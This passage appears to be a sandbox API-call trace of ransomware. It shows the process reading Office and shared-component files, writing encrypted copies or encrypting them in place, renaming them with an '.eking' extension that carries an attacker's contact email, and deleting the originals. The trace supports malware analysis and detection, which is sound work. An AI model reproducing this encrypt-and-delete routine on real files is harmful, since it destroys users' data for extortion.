dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0256.973] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0256.973] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0256.973] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x100 [0256.974] ReadFile (in: hFile=0x1a8, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x110100, lpOverlapped=0x0) returned 1 [0257.012] WriteFile (in: hFile=0x100, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x110100, lpOverlapped=0x0) returned 1 [0257.153] ReadFile (in: hFile=0x1a8, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x55410, lpOverlapped=0x0) returned 1 [0257.158] WriteFile (in: hFile=0x100, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x55420, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x55420, lpOverlapped=0x0) returned 1 [0257.166] WriteFile (in: hFile=0x100, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0257.166] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0257.166] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0257.166] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x110102, lpOverlapped=0x0) returned 1 [0257.174] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5540e, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x5540e, lpOverlapped=0x0) returned 1 [0257.219] FlushFileBuffers (hFile=0x1a8) returned 1 [0257.735] FlushFileBuffers (hFile=0x100) returned 1 [0258.288] CloseHandle (hObject=0x1a8) returned 1 [0258.289] CloseHandle (hObject=0x100) returned 1 [0258.289] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0258.302] SetEvent (hEvent=0xe0) returned 1 [0258.302] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0258.324] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1377656) returned 1 [0258.324] CloseHandle (hObject=0x1a8) returned 1 [0258.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0258.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0258.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0258.324] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0258.324] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0258.324] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0258.324] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1b8 [0258.325] ReadFile (in: hFile=0x1a8, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x110100, lpOverlapped=0x0) returned 1 [0258.382] WriteFile (in: hFile=0x1b8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x110100, lpOverlapped=0x0) returned 1 [0258.415] ReadFile (in: hFile=0x1a8, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x40478, lpOverlapped=0x0) returned 1 [0258.418] WriteFile (in: hFile=0x1b8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x40480, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x40480, lpOverlapped=0x0) returned 1 [0258.423] WriteFile (in: hFile=0x1b8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0258.430] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0258.430] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0258.430] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x110102, lpOverlapped=0x0) returned 1 [0258.436] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x40476, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x40476, lpOverlapped=0x0) returned 1 [0258.437] FlushFileBuffers (hFile=0x1a8) returned 1 [0258.578] FlushFileBuffers (hFile=0x1b8) returned 1 [0259.076] CloseHandle (hObject=0x1a8) returned 1 [0259.076] CloseHandle (hObject=0x1b8) returned 1 [0259.077] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0259.092] SetEvent (hEvent=0xe0) returned 1 [0259.093] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0259.093] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=12060672) returned 1 [0259.093] CloseHandle (hObject=0x1b8) returned 1 [0259.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi")) returned 0x2020 [0259.095] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0259.095] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0259.096] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0259.096] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0259.096] ReadFile (in: hFile=0x1b8, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0259.278] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0259.279] ReadFile (in: hFile=0x1b8, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0259.309] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0259.309] ReadFile (in: hFile=0x1b8, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0259.474] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0259.475] WriteFile (in: hFile=0x1b8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0112, lpOverlapped=0x0) returned 1 [0259.491] SetEndOfFile (hFile=0x1b8) returned 1 [0259.491] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0259.491] WriteFile (in: hFile=0x1b8, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0259.493] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0259.493] WriteFile (in: hFile=0x1b8, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0259.497] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0259.497] WriteFile (in: hFile=0x1b8, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0259.499] FlushFileBuffers (hFile=0x1b8) returned 1 [0261.160] CloseHandle (hObject=0x1b8) returned 1 [0261.160] SetEvent (hEvent=0xe0) returned 1 [0261.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.163] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=994184) returned 1 [0261.163] CloseHandle (hObject=0x1b8) returned 1 [0261.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0261.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0261.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0261.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.164] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0261.164] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0261.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xcc [0261.179] ReadFile (in: hFile=0x1b8, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xf2b88, lpOverlapped=0x0) returned 1 [0261.269] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2b90, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2b90, lpOverlapped=0x0) returned 1 [0261.289] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0261.290] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0261.290] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0261.290] WriteFile (in: hFile=0x1b8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2b88, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xf2b88, lpOverlapped=0x0) returned 1 [0261.332] FlushFileBuffers (hFile=0x1b8) returned 1 [0261.819] FlushFileBuffers (hFile=0xcc) returned 1 [0262.360] CloseHandle (hObject=0x1b8) returned 1 [0262.361] CloseHandle (hObject=0xcc) returned 1 [0262.361] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 1 [0262.373] SetEvent (hEvent=0xe0) returned 1 [0262.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0262.375] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=64096) returned 1 [0262.375] CloseHandle (hObject=0xcc) returned 1 [0262.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0262.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0262.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0262.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0262.376] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0262.376] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0262.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0262.377] ReadFile (in: hFile=0xcc, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xfa60, lpOverlapped=0x0) returned 1 [0262.395] WriteFile (in: hFile=0x1b8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xfa70, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xfa70, lpOverlapped=0x0) returned 1 [0262.397] WriteFile (in: hFile=0x1b8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0262.397] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0262.398] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0262.398] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xfa60, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xfa60, lpOverlapped=0x0) returned 1 [0262.398] FlushFileBuffers (hFile=0xcc) returned 1 [0262.527] FlushFileBuffers (hFile=0x1b8) returned 1 [0263.034] CloseHandle (hObject=0xcc) returned 1 [0263.035] CloseHandle (hObject=0x1b8) returned 1 [0263.035] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 1 [0263.037] SetEvent (hEvent=0xe0) returned 1 [0263.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0263.038] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=566) returned 1 [0263.038] CloseHandle (hObject=0x1b8) returned 1 [0263.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0263.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0263.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0263.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0263.039] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0263.039] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0263.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xcc [0263.039] ReadFile (in: hFile=0x1b8, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x236, lpOverlapped=0x0) returned 1 [0263.040] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x240, lpOverlapped=0x0) returned 1 [0263.041] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x102, lpOverlapped=0x0) returned 1 [0263.041] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 